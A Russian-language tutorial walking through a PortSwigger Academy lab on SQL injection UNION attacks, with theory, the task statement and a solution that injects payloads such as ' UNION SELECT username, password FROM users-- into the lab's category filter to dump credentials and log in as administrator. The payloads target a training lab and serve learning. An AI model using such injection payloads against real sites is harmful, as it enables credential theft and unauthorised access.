Не знаю кто ты, и что ты тут делаешь, но тут продолжается череда туториалов по PortSwigger Academy - SQL injection UNION attack, retrieving data from other tables
Душная теория
Когда вы определили количество столбцов, возвращаемых исходным запросом, и нашли, какие столбцы могут содержать строковые данные, вы можете получить интересные данные.
Предположим, что:
- Исходный запрос возвращает два столбца, оба из которых могут содержать строковые данные.
- Эксплуатация — это строка с кавычками в предложении WHERE.
- База данных содержит таблицу пользователей со столбцами имя пользователя и пароль.
В этой ситуации вы можете получить содержимое таблицы пользователей, отправив ввод:
' UNION SELECT username, password FROM users--
Конечно, ключевая информация, необходимая для выполнения этой атаки, заключается в том, что существует таблица пользователей с двумя столбцами, называемыми именем пользователя и паролем. Без этой информации вам пришлось бы пытаться угадать имена таблиц и столбцов. Фактически, все современные базы данных предоставляют способы изучения структуры базы данных, чтобы определить, какие таблицы и столбцы она содержит, но сегодня не об этом. Может быть позже, а может и нет
Постановка задачи
Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. Результаты запроса возвращаются в ответе приложения, поэтому вы можете использовать атаку UNION для извлечения данных из других таблиц. Чтобы сконструировать такую атаку, вам нужно объединить некоторые приемы, которые вы изучили в предыдущих лабораторных работах.
База данных содержит другую таблицу, называемую users, со столбцами, называемыми username и password.
Чтобы решить лабораторную задачу, выполните атаку UNION с внедрением SQL, которая извлекает все имена пользователей и пароли, и используйте эту информацию для входа в систему в качестве пользователя-администратора.
Решение лабораторной работы
Нас встречает непонятный блок, с юзлесс инфой с которой мы будем играться
Для начала давайте поймем сколько столбцов содержит данная таблица. Методологию описывали тут. Следующий запрос приведет нас к успеху
https://0afa0044034b5da0c07d7ca1001100aa.web-security-academy.net/filter?category=Gifts' UNION SELECT NULL, NULL--
Далее найдем какие именно столбцы имеют текстовый формат даннных, как это делать мы описывали тут
https://0afa0044034b5da0c07d7ca1001100aa.web-security-academy.net/filter?category=Gifts' UNION SELECT 'a', 'a'--
Мы обнаружили, что таблица содержит 2 поля, и оба являются текстовым. Как же классно, что в таске нам тоже нужно всего 2 поля - username и password и даже по чистой случайности знаем, в какой таблице это все лежит - users
https://0afa0044034b5da0c07d7ca1001100aa.web-security-academy.net/filter?category=Gifts' UNION SELECT username, password FROM users--
Видим необходимого пользователя administrator с паролем hnrjvzm99es9qcuk2h9n
Его то мы и введем в лог-форме
И получаем успешный вход в систему, который говорит что мы прошли лабу!
Ты молодец! Не знаю зачем ты все еще это читаешь, но ты молодец